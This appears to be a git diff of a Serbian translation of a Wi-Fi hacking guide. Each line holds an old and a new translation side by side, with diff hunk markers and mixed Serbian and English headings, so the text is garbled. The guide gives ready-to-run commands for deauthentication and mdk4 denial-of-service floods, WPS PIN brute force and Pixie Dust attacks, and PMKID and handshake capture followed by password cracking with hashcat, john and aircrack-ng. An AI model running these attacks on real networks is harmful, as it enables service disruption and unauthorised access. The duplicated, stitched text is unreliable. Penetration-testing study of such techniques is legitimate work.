**Napadi deautentifikacije**, čest metod u hakovanju Wi-Fi-ja, uključuju falsifikovanje "upravljačkih" okvira kako bi **prisilno diskonektovali uređaje sa mreže**. Ovi nešifrovani paketi obmanjuju klijente da veruju da su od legitimne mreže, omogućavajući napadačima da prikupe WPA handshake-ove u svrhu pucanja ili da uporno ometaju mrežne veze. Ova taktika, alarmantna u svojoj jednostavnosti, široko se koristi i ima značajne implikacije po sigurnost mreže. **Deautentifikacija** napadi, rasprostranjena metoda u Wi-Fi hakovanju, uključuju falsifikovanje "menadžerskih" okvira kako bi se **prisilno isključili uređaji sa mreže**. Ovi nešifrovani paketi obmanjuju klijente da veruju da dolaze iz legitimne mreže, omogućavajući napadačima da prikupe WPA handshakes u svrhu razbijanja ili da trajno ometaju mrežne veze. Ova taktika, zastrašujuća u svojoj jednostavnosti, široko se koristi i ima značajne posledice za bezbednost mreže.
**Deautentifikacija korišćenjem Aireplay-ng** **Deautentifikacija koristeći Aireplay-ng**
``` ```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
``` ```
* \-0 znači deautentikaciju * \-0 znači deautentifikaciju
* 1 je broj deautentikacija za slanje (možete poslati više ako želite); 0 znači slanje neprekidno * 1 je broj deautentifikacija koje treba poslati (možete poslati više ako želite); 0 znači slati ih kontinuirano
* \-a 00:14:6C:7E:40:80 je MAC adresa pristupne tačke * \-a 00:14:6C:7E:40:80 je MAC adresa pristupne tačke
* \-c 00:0F:B5:34:30:30 je MAC adresa klijenta za deautentikaciju; ako je izostavljena, tada se šalje emitovanje deautentikacije (ne radi uvek) * \-c 00:0F:B5:34:30:30 je MAC adresa klijenta koji treba deautentifikovati; ako je ovo izostavljeno, tada se šalje deautentifikacija u emitovanju (ne radi uvek)
* ath0 je ime interfejsa * ath0 je naziv interfejsa
### Paketi disasocijacije ### Paketi disasocijacije
**Paketi disasocijacije**, slično kao paketi deautentikacije, su vrsta upravljačkog okvira koji se koristi u Wi-Fi mrežama. Ovi paketi služe da prekinu vezu između uređaja (kao što su laptop ili pametni telefon) i pristupne tačke (AP). Glavna razlika između disasocijacije i deautentikacije leži u njihovim scenarijima korišćenja. Dok AP emituje **pakete deautentikacije da bi eksplicitno uklonio zlonamerne uređaje sa mreže, paketi disasocijacije se obično šalju kada AP prolazi kroz gašenje, restart ili premestanje, čime se neophodno vrši prekid veze sa svim povezanim čvorovima. **Paketi disasocijacije**, slični paketima deautentifikacije, su vrsta upravljačkog okvira koji se koristi u Wi-Fi mrežama. Ovi paketi služe za prekid veze između uređaja (kao što su laptop ili pametni telefon) i pristupne tačke (AP). Primarna razlika između disasocijacije i deautentifikacije leži u njihovim scenarijima korišćenja. Dok AP emituje **pakete deautentifikacije da bi eksplicitno uklonio neovlašćene uređaje iz mreže, paketi disasocijacije se obično šalju kada AP prolazi kroz gašenje**, restart ili premestanje, čime se zahteva prekid veze svih povezanih čvorova.
**Ovaj napad može biti izveden pomoću mdk4 (režim "d"):** **Ovaj napad se može izvesti pomoću mdk4(mode "d"):**
```bash ```bash
# -c <channel> # -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate # -b victim_client_mac.txt contains the MAC address of the device to eliminate
@ -149,11 +150,11 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
``` ```
### **Više DOS napada pomoću mdk4** ### **Više DOS napada pomoću mdk4**
**Ovde** [**ovde**](https://en.kali.tools/?p=864)**.** **U** [**ovde**](https://en.kali.tools/?p=864)**.**
**NAPADNI REŽIM b: Poplava odašiljanja** **NAPAD MODE b: Flooding Beacon-a**
Šalje odašiljačke okvire kako bi prikazao lažne AP-ove klijentima. Ovo ponekad može izazvati pad mrežnih skenera čak i drajvera! Šalje beacon okvire kako bi prikazao lažne AP-ove kod klijenata. Ovo ponekad može srušiti mrežne skener-e i čak drajvere!
```bash ```bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit # -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES) # -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
@ -161,9 +162,9 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
# All the parameters are optional and you could load ESSIDs from a file # All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m mdk4 wlan0mon b -a -w nta -m
``` ```
**NAPADNI REŽIM a: Odbijanje autentifikacije usluge** **ATTACK MODE a: Authentication Denial-Of-Service**
Slanje autentifikacionih okvira svim dostupnim pristupnim tačkama (AP) u dometu može preopteretiti ove AP, posebno kada je uključen veliki broj klijenata. Ovaj intenzivan saobraćaj može dovesti do nestabilnosti sistema, uzrokujući da neke AP zaledi ili čak resetuje. Slanje autentifikacionih okvira svim dostupnim pristupnim tačkama (AP) unutar dometa može preopteretiti ove AP, posebno kada je uključeno više klijenata. Ovaj intenzivan saobraćaj može dovesti do nestabilnosti sistema, uzrokujući da neki AP zamrznu ili čak resetuju.
```bash ```bash
# -a BSSID send random data from random clients to try the DoS # -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients # -i BSSID capture and repeat pakets from authenticated clients
@ -171,39 +172,39 @@ Slanje autentifikacionih okvira svim dostupnim pristupnim tačkama (AP) u dometu
# only -a or -i can be used # only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
``` ```
**NAPADNI REŽIM p: Probing i Bruteforcing SSID-a** **ATTACK MODE p: SSID Probing and Bruteforcing**
Probing pristupnih tačaka (AP) proverava da li je SSID pravilno otkriven i potvrđuje opseg AP-a. Ova tehnika, zajedno sa **bruteforcing skrivenih SSID-ova** sa ili bez liste reči, pomaže u identifikaciji i pristupanju skrivenim mrežama. Probing Access Points (APs) proverava da li je SSID pravilno otkriven i potvrđuje domet AP-a. Ova tehnika, u kombinaciji sa **bruteforcing hidden SSIDs** sa ili bez liste reči, pomaže u identifikaciji i pristupu skrivenim mrežama.
**NAPADNI REŽIM m: Iskorišćavanje Michael protivmera** **ATTACK MODE m: Michael Countermeasures Exploitation**
Slanje nasumičnih ili duplikatnih paketa različitim QoS redovima može pokrenuti Michael protivmere na **TKIP AP-ovima**, što dovodi do jednominutnog gašenja AP-a. Ovaj metod je efikasna taktika napada **DoS** (Denial of Service). Slanje nasumičnih ili duplih paketa različitim QoS redovima može aktivirati Michael Countermeasures na **TKIP APs**, što dovodi do jednog minuta gašenja AP-a. Ova metoda je efikasna **DoS** (Denial of Service) napadačka taktika.
```bash ```bash
# -t <BSSID> of a TKIP AP # -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS # -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j] mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
``` ```
**NAPADNI REŽIM e: Ubrizgavanje paketa EAPOL Start i Logoff** **ATTACK MODE e: EAPOL Start i Logoff Paketi Injekcija**
Poplavljivanje AP-a sa **EAPOL Start okvirima** stvara **lažne sesije**, preopterećujući AP i blokirajući legitimne klijente. Alternativno, ubrizgavanje **lažnih EAPOL Logoff poruka** prisilno prekida klijente, oba metoda efikasno remete mrežnu uslugu. Flooding AP-a sa **EAPOL Start okvirima** stvara **lažne sesije**, preopterećujući AP i blokirajući legitimne klijente. Alternativno, injektovanje **lažnih EAPOL Logoff poruka** prisilno isključuje klijente, obe metode efikasno ometaju mrežnu uslugu.
```bash ```bash
# Use Logoff messages to kick clients # Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l] mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
``` ```
**NAPADNI REŽIM s: Napadi na IEEE 802.11s mreže sa mrežnom mrežom** **ATTACK MODE s: Napadi na IEEE 802.11s mesh mreže**
Različiti napadi na upravljanje vezama i rutiranje u mrežama sa mrežnom mrežom. Različiti napadi na upravljanje vezama i rutiranje u mesh mrežama.
**NAPADNI REŽIM w: Konfuzija WIDS-a** **ATTACK MODE w: WIDS Zbunjenost**
Povezivanje klijenata sa više WDS čvorova ili lažnih rogue AP-ova može manipulisati sistemima za otkrivanje i prevenciju upada, stvarajući konfuziju i potencijalno zloupotrebu sistema. Kros-konekcija klijenata na više WDS čvorova ili lažnih rogue AP-ova može manipulisati sistemima za otkrivanje i prevenciju upada, stvarajući konfuziju i potencijalnu zloupotrebu sistema.
```bash ```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts) # -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z] mkd4 -e <SSID> -c <channel> [-z]
``` ```
**NAPADNI REŽIM f: Paket Fuzzer** **NAPAD MODE f: Packet Fuzzer**
Paket fuzzer koji sadrži različite izvore paketa i sveobuhvatan set modifikatora za manipulaciju paketima. Packet fuzzer koji sadrži raznovrsne izvore paketa i sveobuhvatan set modifikatora za manipulaciju paketima.
### **Airggedon** ### **Airggedon**
@ -213,63 +214,63 @@ _**Airgeddon**_ nudi većinu napada predloženih u prethodnim komentarima:
## WPS ## WPS
WPS (Wi-Fi Protected Setup) pojednostavljuje proces povezivanja uređaja s ruterom, poboljšavajući brzinu postavljanja i olakšavajući mreže koje su šifrovane sa **WPA** ili **WPA2** Personal. Nije efikasan za lako kompromitovanu WEP sigurnost. WPS koristi 8-znamenkasti PIN, validiran u dva dela, što ga čini podložnim napadima brute-force zbog ograničenog broja kombinacija (11.000 mogućnosti). WPS (Wi-Fi Protected Setup) pojednostavljuje proces povezivanja uređaja na ruter, poboljšavajući brzinu i jednostavnost postavljanja za mreže šifrovane sa **WPA** ili **WPA2** Personal. Neefikasan je za lako kompromitovanu WEP sigurnost. WPS koristi 8-cifreni PIN, validiran u dva dela, što ga čini podložnim napadima brute-force zbog ograničenog broja kombinacija (11,000 mogućnosti).
### WPS Brute Force ### WPS Bruteforce
Postoje 2 glavna alata za izvođenje ove akcije: Reaver i Bully. Postoje 2 glavna alata za izvođenje ove akcije: Reaver i Bully.
* **Reaver** je dizajniran da bude snažan i praktičan napad protiv WPS-a, i testiran je protiv različitih pristupnih tačaka i implementacija WPS-a. * **Reaver** je dizajniran da bude robustan i praktičan napad protiv WPS-a, i testiran je protiv širokog spektra pristupnih tačaka i WPS implementacija.
* **Bully** je **nova implementacija** napada brute force na WPS, napisana u C-u. Ima nekoliko prednosti u odnosu na originalni reaver kod: manje zavisnosti, poboljšanu memoriju i CPU performanse, ispravno rukovanje endijanom i robustan set opcija. * **Bully** je **nova implementacija** WPS brute force napada, napisana u C. Ima nekoliko prednosti u odnosu na originalni reaver kod: manje zavisnosti, poboljšane performanse memorije i CPU-a, ispravno rukovanje endijanošću, i robusniji set opcija.
Napad iskorišćava **ranjivost WPS PIN-a**, posebno izlaganje prvih četiri cifre i ulogu poslednje cifre kao kontrolne znamenke, olakšavajući napad brute-force. Međutim, odbrane protiv napada brute-force, poput **blokiranja MAC adresa** agresivnih napadača, zahtevaju **rotaciju MAC adresa** kako bi se nastavio napad. Napad koristi **ranjivost WPS PIN-a**, posebno izlaganje prvih četiri cifre i ulogu poslednje cifre kao kontrolnog zbira, olakšavajući napad brute-force. Međutim, odbrana od brute-force napada, kao što je **blokiranje MAC adresa** agresivnih napadača, zahteva **rotaciju MAC adresa** kako bi se napad nastavio.
Nakon što napadač dobije WPS PIN pomoću alata poput Bully ili Reaver, može zaključiti WPA/WPA2 PSK, obezbeđujući **postojani pristup mreži**. Nakon dobijanja WPS PIN-a pomoću alata kao što su Bully ili Reaver, napadač može da dedukuje WPA/WPA2 PSK, obezbeđujući **trajni pristup mreži**.
```bash ```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3 bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
``` ```
**Pametni Brute Force** **Smart Brute Force**
Ovaj unapređeni pristup cilja WPS PIN-ove koristeći poznate ranjivosti: Ovaj rafiniran pristup cilja WPS PIN-ove koristeći poznate ranjivosti:
1. **Prethodno otkriveni PIN-ovi**: Iskoristite bazu podataka poznatih PIN-ova povezanih sa određenim proizvođačima koji koriste uniformne WPS PIN-ove. Ova baza podataka povezuje prva tri okteta MAC adresa sa verovatnim PIN-ovima za ove proizvođače. 1. **Pre-otkriveni PIN-ovi**: Iskoristite bazu podataka poznatih PIN-ova povezanih sa specifičnim proizvođačima za koje je poznato da koriste uniformne WPS PIN-ove. Ova baza podataka korelira prva tri okteta MAC adresa sa verovatnim PIN-ovima za ove proizvođače.
2. **Algoritmi generisanja PIN-ova**: Iskoristite algoritme poput ComputePIN i EasyBox, koji izračunavaju WPS PIN-ove na osnovu MAC adrese AP-a. Arcadyan algoritam dodatno zahteva ID uređaja, dodajući sloj procesu generisanja PIN-ova. 2. **Algoritmi za generisanje PIN-ova**: Iskoristite algoritme kao što su ComputePIN i EasyBox, koji izračunavaju WPS PIN-ove na osnovu MAC adrese AP-a. Arcadyan algoritam dodatno zahteva ID uređaja, dodajući sloj u procesu generisanja PIN-a.
### Napad WPS Pixie Dust ### WPS Pixie Dust attack
**Dominique Bongard** je otkrio propust u nekim pristupnim tačkama (AP) koji se odnosi na kreiranje tajnih kodova, poznatih kao **nonce**-ovi (**E-S1** i **E-S2**). Ako se ovi nonce-ovi mogu otkriti, pucanje WPS PIN-a AP-a postaje jednostavno. AP otkriva PIN unutar posebnog koda (hash) kako bi dokazao da je legitimno i da nije lažna (rogue) AP. Ovi nonce-ovi su suštinski "ključevi" za otključavanje "sefa" koji čuva WPS PIN. Više informacija o tome može se pronaći [ovde](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)). **Dominique Bongard** je otkrio grešku u nekim pristupnim tačkama (AP) u vezi sa kreiranjem tajnih kodova, poznatih kao **nonces** (**E-S1** i **E-S2**). Ako se ovi nonces mogu otkriti, provaljivanje WPS PIN-a AP-a postaje lako. AP otkriva PIN unutar posebnog koda (hash) kako bi dokazao da je legitiman i da nije lažni (rogue) AP. Ovi nonces su suštinski "ključevi" za otključavanje "sef-a" koji sadrži WPS PIN. Više o ovome možete pronaći [ovde](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)).
U jednostavnim terminima, problem je u tome što neke AP nisu koristile dovoljno slučajne ključeve za šifrovanje PIN-a tokom procesa povezivanja. To čini PIN ranjivim na nagađanje spoljašnjim putem (napad offline brute force). U jednostavnim rečima, problem je u tome što neki AP-ovi nisu koristili dovoljno nasumične ključeve za enkripciju PIN-a tokom procesa povezivanja. To čini PIN ranjivim na pogađanje sa spoljašnje strane mreže (offline brute force attack).
```bash ```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3 bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
``` ```
Ako ne želite da prebacite uređaj u monitor režim, ili `reaver` i `bully` imaju neki problem, možete probati [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Ovaj alat može izvesti Pixie Dust napad bez potrebe za prebacivanjem u monitor režim. Ako ne želite da prebacite uređaj u režim nadzora, ili `reaver` i `bully` imaju neki problem, možete probati [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Ovaj alat može izvršiti Pixie Dust napad bez potrebe da se prebacite u režim nadzora.
```bash ```bash
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37 ./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
``` ```
### Napad nultog pina ### Null Pin napad
Neke loše dizajnirane sisteme čak i dozvoljavaju **Nulti PIN** (prazan ili nepostojeći PIN) da omogući pristup, što je prilično neuobičajeno. Alat **Reaver** je sposoban da testira ovu ranjivost, za razliku od **Bully**-a. Neki loše dizajnirani sistemi čak dozvoljavaju **Null PIN** (prazan ili nepostojeći PIN) da omoguće pristup, što je prilično neobično. Alat **Reaver** je sposoban da testira ovu ranjivost, za razliku od **Bully**.
```bash ```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
``` ```
### Airgeddon ### Airgeddon
Sve predložene WPS napade lako možete izvesti koristeći _**airgeddon.**_ Sve predložene WPS napade je lako izvesti koristeći _**airgeddon.**_
![](<../../.gitbook/assets/image (219).png>) ![](<../../.gitbook/assets/image (219).png>)
* 5 i 6 vam omogućavaju da probate **vaš prilagođeni PIN** (ako ga imate) * 5 i 6 vam omogućavaju da probate **vaš prilagođeni PIN** (ako ga imate)
* 7 i 8 izvode **Pixie Dust napad** * 7 i 8 izvode **Pixie Dust napad**
* 13 vam omogućava da testirate **NULL PIN** * 13 vam omogućava da testirate **NULL PIN**
* 11 i 12 će **prikupiti PIN-ove povezane sa odabranim AP iz dostupnih baza podataka** i **generisati** moguće **PIN-ove** koristeći: ComputePIN, EasyBox i opciono Arcadyan (preporučeno, zašto ne?) * 11 i 12 će **prikupiti PIN-ove povezane sa odabranim AP iz dostupnih baza podataka** i **generisati** moguće **PIN-ove** koristeći: ComputePIN, EasyBox i opcionalno Arcadyan (preporučeno, zašto da ne?)
* 9 i 10 će testirati **svaki mogući PIN** * 9 i 10 će testirati **svaki mogući PIN**
## **WEP** ## **WEP**
Tako slomljen i nekorišćen danas. Samo znajte da _**airgeddon**_ ima WEP opciju nazvanu "All-in-One" za napad na ovu vrstu zaštite. Više alata nudi slične opcije. Tako slomljen i neupotrebljavan danas. Samo znajte da _**airgeddon**_ ima WEP opciju pod nazivom "All-in-One" za napad na ovu vrstu zaštite. Mnogi alati nude slične opcije.
![](<../../.gitbook/assets/image (432).png>) ![](<../../.gitbook/assets/image (432).png>)
@ -277,16 +278,16 @@ Tako slomljen i nekorišćen danas. Samo znajte da _**airgeddon**_ ima WEP opcij
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove! Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
**Hacking Insights**\ **Hacking Insights**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja Uključite se u sadržaj koji se bavi uzbuđenjem i izazovima hakovanja
**Real-Time Hack News**\ **Real-Time Hack News**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
**Latest Announcements**\ **Latest Announcements**\
Budite informisani o najnovijim bug bounty programima i bitnim ažuriranjima platformi Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi
**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas! **Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
@ -296,15 +297,15 @@ Budite informisani o najnovijim bug bounty programima i bitnim ažuriranjima pla
### PMKID ### PMKID
Godine 2018, **hashcat** je [otkrio](https://hashcat.net/forum/thread-7717.html) novu metodu napada, jedinstvenu jer zahteva samo **jedan jedini paket** i ne zahteva da bilo koji klijenti budu povezani sa ciljnim AP - samo interakciju između napadača i AP. U 2018. godini, **hashcat** [je otkrio](https://hashcat.net/forum/thread-7717.html) novu metodu napada, jedinstvenu jer zahteva **samo jedan paket** i ne zahteva da bilo koji klijenti budu povezani na ciljani AP—samo interakciju između napadača i AP.
Mnogi moderni ruteri dodaju **opciono polje** u **prvi EAPOL** okvir tokom asocijacije, poznato kao `Robust Security Network`. To uključuje `PMKID`. Mnogi moderni ruteri dodaju **opcionalno polje** u **prvom EAPOL** okviru tokom asocijacije, poznato kao `Robust Security Network`. Ovo uključuje `PMKID`.
Kako originalna objava objašnjava, **PMKID** se kreira koristeći poznate podatke: Kao što objašnjava originalni post, **PMKID** se kreira koristeći poznate podatke:
```bash ```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA) PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
``` ```
S obzirom da je "PMK ime" konstantno, znamo BSSID pristupne tačke i stanice, a `PMK` je identičan onome iz potpune 4-way rukovanja, **hashcat** može koristiti ove informacije da probije PSK i povrati lozinku! S obzirom na to da je "PMK Name" konstantan, znamo BSSID AP-a i stanice, a `PMK` je identičan onom iz punog 4-načina rukovanja, **hashcat** može iskoristiti ove informacije da razbije PSK i povrati lozinku!
Da **prikupite** ove informacije i **bruteforce** lokalno lozinku, možete uraditi: Da **prikupite** ove informacije i **bruteforce** lokalno lozinku, možete uraditi:
```bash ```bash
@ -318,16 +319,16 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer #You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1 ./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
``` ```
**PMKIDs koje su uhvaćene** će biti prikazane u **konzoli** i takođe **sačuvane** unutar \_ **/tmp/attack.pcap**\_\ **PMKIDs uhvaćeni** će biti prikazani u **konzoli** i takođe **sačuvani** unutar \_ **/tmp/attack.pcap**\_\
Sada, konvertujte snimak u **hashcat/john** format i probajte da ga probijete: Sada, konvertujte hvatanje u **hashcat/john** format i probijte ga:
```bash ```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
``` ```
Molimo vas da obratite pažnju da ispravan format heša sadrži **4 dela**, poput: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` Ako vaš heš sadrži **samo** **3 dela**, onda je **nevažeći** (PMKID snimak nije bio validan). Molimo vas da obratite pažnju na format ispravnog hasha koji sadrži **4 dela**, kao što je: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` Ako vaš **sadrži samo** **3 dela**, onda je **neispravan** (PMKID snimak nije bio validan).
Imajte na umu da `hcxdumptool` **takođe snima rukovanja** (nešto poput ovoga će se pojaviti: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Možete **transformisati** rukovanja u **hashcat**/**john** format koristeći `cap2hccapx` Napomena da `hcxdumptool` **takođe snima rukovanja** (nešto poput ovoga će se pojaviti: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Možete **pretvoriti** **rukovanja** u **hashcat**/**john** format koristeći `cap2hccapx`
```bash ```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"] cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
@ -335,32 +336,32 @@ hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
``` ```
_Uočio sam da neki rukovanja uhvaćena ovim alatom ne mogu biti probijena čak i kada se zna tačna lozinka. Preporučio bih da se rukovanja uhvate i na tradicionalan način ako je moguće, ili da se uhvati nekoliko njih koristeći ovaj alat._ _I primetio sam da neki rukohvati uhvaćeni ovim alatom nisu mogli biti otkriveni čak i kada se zna tačna lozinka. Preporučujem da se rukohvati uhvate i na tradicionalan način ako je moguće, ili da se uhvati nekoliko njih koristeći ovaj alat._
### Uhvatanje rukovanja ### Handshake capture
Napad na **WPA/WPA2** mreže može se izvršiti tako što se uhvati **rukovanje** i pokuša **probijanje** lozinke **offline**. Ovaj proces uključuje praćenje komunikacije određene mreže i **BSSID**-a na određenom **kanalu**. Evo pojednostavljenog vodiča: Napad na **WPA/WPA2** mreže može se izvršiti hvatanjem **rukohvata** i pokušajem da se **otkrije** lozinka **offline**. Ovaj proces uključuje praćenje komunikacije određene mreže i **BSSID** na određenom **kanalu**. Evo pojednostavljenog vodiča:
1. Identifikujte **BSSID**, **kanal** i **povezanog klijenta** ciljne mreže. 1. Identifikujte **BSSID**, **kanal** i **povezanog klijenta** ciljne mreže.
2. Koristite `airodump-ng` da biste pratili saobraćaj mreže na određenom kanalu i BSSID-u, u nadi da ćete uhvatiti rukovanje. Komanda će izgledati ovako: 2. Koristite `airodump-ng` za praćenje mrežnog saobraćaja na navedenom kanalu i BSSID-u, nadajući se da ćete uhvatiti rukohvat. Komanda će izgledati ovako:
```bash ```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
``` ```
3. Da biste povećali šansu za hvatanje handshake-a, privremeno isključite klijenta sa mreže kako biste ga prisilili na ponovnu autentifikaciju. To se može uraditi korišćenjem `aireplay-ng` komande, koja šalje pakete deautentifikacije ka klijentu: 3. Da biste povećali šanse za hvatanje rukovanja, privremeno isključite klijenta iz mreže kako biste primorali ponovnu autentifikaciju. To se može uraditi koristeći `aireplay-ng` komandu, koja šalje pakete deautentifikacije klijentu:
```bash ```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
``` ```
_Napomena da je klijent deautentifikovan, može pokušati da se poveže sa drugim AP-om ili, u drugim slučajevima, sa drugom mrežom._ _Napomena da, kada je klijent bio deautentifikovan, mogao je pokušati da se poveže na drugi AP ili, u drugim slučajevima, na drugu mrežu._
Kada se pojave informacije o rukovanju u `airodump-ng`, to znači da je rukovanje uhvaćeno i možete prestati sa slušanjem: Kada se u `airodump-ng` pojavi neka informacija o rukovanju, to znači da je rukovanje uhvaćeno i možete prestati sa slušanjem:
![](<../../.gitbook/assets/image (172) (1).png>) ![](<../../.gitbook/assets/image (172) (1).png>)
Kada se uhvati rukovanje, možete ga **provaliti** pomoću `aircrack-ng`: Kada je rukovanje uhvaćeno, možete ga **provaliti** sa `aircrack-ng`:
``` ```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
``` ```
### Proverite da li je handshake u datoteci ### Proverite da li je rukovanje u datoteci
**aircrack** **aircrack**
```bash ```bash
@ -374,7 +375,7 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
``` ```
cowpatty -r psk-01.cap -s "ESSID" -f - cowpatty -r psk-01.cap -s "ESSID" -f -
``` ```
_Ako ovaj alat pronađe nedovršenu rukovanje ESSID-a pre završenog, neće otkriti validan._ _Ako ovaj alat pronađe nepotpun handshake nekog ESSID-a pre nego što pronađe kompletan, neće detektovati validan._
**pyrit** **pyrit**
```bash ```bash
@ -383,59 +384,59 @@ pyrit -r psk-01.cap analyze
``` ```
## **WPA Enterprise (MGT)** ## **WPA Enterprise (MGT)**
U **WiFi postavkama preduzeća, susrešćete se sa različitim metodama autentifikacije**, koje pružaju različite nivoe sigurnosti i funkcije upravljanja. Kada koristite alatke poput `airodump-ng` za inspekciju mrežnog saobraćaja, možete primetiti identifikatore za ove tipove autentifikacije. Neke uobičajene metode uključuju: U **preduzetničkim WiFi postavkama, naići ćete na različite metode autentifikacije**, svaka pruža različite nivoe sigurnosti i funkcije upravljanja. Kada koristite alate poput `airodump-ng` za inspekciju mrežnog saobraćaja, možda ćete primetiti identifikatore za ove tipove autentifikacije. Neke uobičajene metode uključuju:
``` ```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi 6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
``` ```
1. **EAP-GTC (Generic Token Card)**: 1. **EAP-GTC (Generic Token Card)**:
